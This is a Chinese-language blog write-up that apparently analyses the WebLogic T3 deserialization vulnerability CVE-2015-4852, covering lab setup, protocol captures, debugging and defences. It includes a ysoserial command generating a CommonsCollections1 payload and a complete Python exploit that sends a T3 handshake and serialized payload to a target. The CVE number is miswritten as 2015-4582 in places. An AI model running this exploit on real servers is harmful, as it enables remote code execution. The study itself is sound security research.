当前位置:   article > 正文

WebLogic基于T3协议的反序列化之CVE-2015-4852_weblogic反序列化远程代码执行漏洞(cve-2015-4852)

weblogic反序列化远程代码执行漏洞(cve-2015-4852)

前言

WebLogic 中的反序列化漏洞可以分为两种,第一种为基于 T3 协议的反序列化,第二种为基于 XML 的反序列化,下面表格为大概 CVE 分布,在基于 T3 的反序列化漏洞中,很多是基于 CVE-2015-4582 漏洞的一个相关绕过,而对 CVE-2015-4582 漏洞的绕过又大体应该分为两类,下面对 CVE-2015-4582 进行调试分析,为后面的绕过打下基础。

基于 T3CVE-2015-4582CVE-2016-0638CVE-2016-3510CVE-2018-2628CVE-2020-2555CVE-2020-2883
基于 XMLCVE-2017-3506CVE-2017-10271CVE-2019-2729

漏洞调试环境

WebLogic 系列的漏洞可以用到 Github 上的一个项目 :https://github.com/QAX-A-Team/WeblogicEnvironment

环境搭建参考以下两篇文章即可:

https://www.cnblogs.com/0x7e/p/14529949.html#0x01%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA
https://www.cnblogs.com/nice0e3/p/14201884.html#0x02-%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA

漏洞复现

ysoserial 生成反序列化文件

java -jar ysoserial.jar CommonsCollections1 "touch /poc.txt" > payload.tmp
  • 1

利用 poc 直接打反序列化文件过去

python2 cve-2015-4852.py 192.168.134.133 7001 D:\payload.ser
  • 1

cve-2015-4852.py

#!/usr/bin/python
import socket
import struct
import sys

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)

# Send headers
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
print 'sending "%s"' % headers
sock.sendall(headers)

data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data
payloadObj = open(sys.argv[3],'rb').read()

payload='\x00\x00\x09\xe4\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
payload=payload+payloadObj
payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'
print 'sending payload...'
payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])

#print len(payload)

outf = open('pay.tmp','w')
outf.write(payload)
outf.close()
sock.send(payload)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31

进入 docker 内查看文件是否创建成功

docker exec  weblogic1036jdk7u21 ls /
  • 1

T3 协议

基于 T3 协议的反序列化漏洞,那么避无可避的就是要了解 T3 协议。T3 协议是 WebLogic 特有的一个协议,用于传输 RMI 服务过程中产生的数据流。

T3 协议请求头

T3 协议在传输请求体之前,需要先发送一个数据包到目标服务器,这个数据包的内容基本固定,为 t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n,在 t3 后面的版本随意捏造就行,注意的是请求包头内容需要两个换行符结尾,而在后面的请求体中也是两个换行符结尾的。

这里使用 wireshark 捉数据包看一下,虚拟机网络换为 Nat 类型,因为不知道数据走的是哪一个接口,所以我这里把所有的接口数据都拦截了,在 POC 发送完第一个数据包的地方下断点,调试启动即可在 wireshark 捉到包
image-20220128151628684
追踪一下 7001 端口的数据,发现咋们发完第一个数据包之后,服务器回返回 HELO: 加上 WebLogic 真正的版本
image-20220128151959139

T3 协议请求体

T3 协议请求体其实也就是发送的第二个数据包,捉一下第二个数据包的内容,程序停在断点处的时候开启监听接口,让 python 程序往下执行完毕即可。
1
红框框着的是恶意序列化数据,下面调试代码来分析一下 T3 协议为什么会造成反序列化漏洞

调试分析

配置好远程 DEBUG ,在 InboundMsgAbbrev#readObject 方法上下断点,用 poc 打过去 IDEA 会停在这个方法上
image-20220128154633456
WebLogic 会使用 InboundMsgAbbrev#readObject 方法处理经过 T3 协议传递过来的反序列化数据,这里会调用 InboundMsgAbbrev.ServerChannelInputStream 内部类的 readObject 方法
image-20220128154907168
查看一下 ServerChannelInputStream 内部类,发现这个内部类继承了 ObjectInputStream 类,重写了 resolveClass 方法但是没有重写 readObject 方法,那么调用 ServerChannelInputStream#readObject 方法就是调用 ObjectInputStream#readObject 方法,也就是 WebLogic 使用了 ObjectInputStream#readObject 方法处理我们经过 T3 协议传递过来的反序列化数据
image-20220128155148719
当然使用 ObjectInputStream#readObject 方法处理反序列化数据的过程中会调用到 ServerChannelInputStream#resolveClass 方法,这是在前面分析 ObjectInputStream#readObject 方法的时候了解到的,因为 ServerChannelInputStream#resolveClass 方法是反序列化过程中的必经之路,所以后续的防护也可以在这里进行,当然这个后面再谈。

那么现在漏洞产生的原因就很明显了,就是 WebLogic 在用 ServerChannelInputStream#readObject 方法处理 T3 协议传递过来的反序列化数据时调用到了 ObjectInputStream#readObject 方法进行处理反序列化数据,那么反序列化链的触发也就理所应当了。

对于 ObjectInputStream#readObject 方法不了解的可以看一看前面的分析文章:https://ky0103.github.io/2022/01/27/JavaReadObject0245/

payload构造

反序列化数据放到 T3 协议请求体的哪个位置才能触发 Gadget 呢?

这里先放一张 z_zz_zzz 师傅的请求体数据格式
2
那么我们可以把恶意序列化数据替换到第二部分到第七部分的任一部分,或者把恶意序列化数据和第一部分混合,这两种方法都可行,前面的payload应该是把恶意序列化数据替换到了第三部分。

这里再贴一张 z_zz_zzz 师傅的图片,相当于是整个请求体的一个内容格式,可以看到序列化数据前面都是 f3 01 00 00
2

防御

在出外网的情况下,可以做 web 代理或者负载均衡或者打补丁

先说 web 代理,web 代理只会代理 http/https 协议的流量,而反序列化漏洞是基于 T3 协议的,自然也就防御到了。

再就是负载均衡可以选择需要负载均衡的协议,我们不把 T3 协议放到负载均衡即可。

WebLogic 后面的一些修补是通过加入反序列化类的黑名单实现的,然而黑名单总有被绕过的可能,这也就造就了后面的一些绕过反序列化漏洞。

参考文章

https://www.cnblogs.com/nice0e3/p/14201884.html
http://drops.xmd5.com/static/drops/web-13470.html
https://www.cnblogs.com/0x7e/p/14529949.html

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/盐析白兔/article/detail/450684
推荐阅读
相关标签
  

闽ICP备14008679号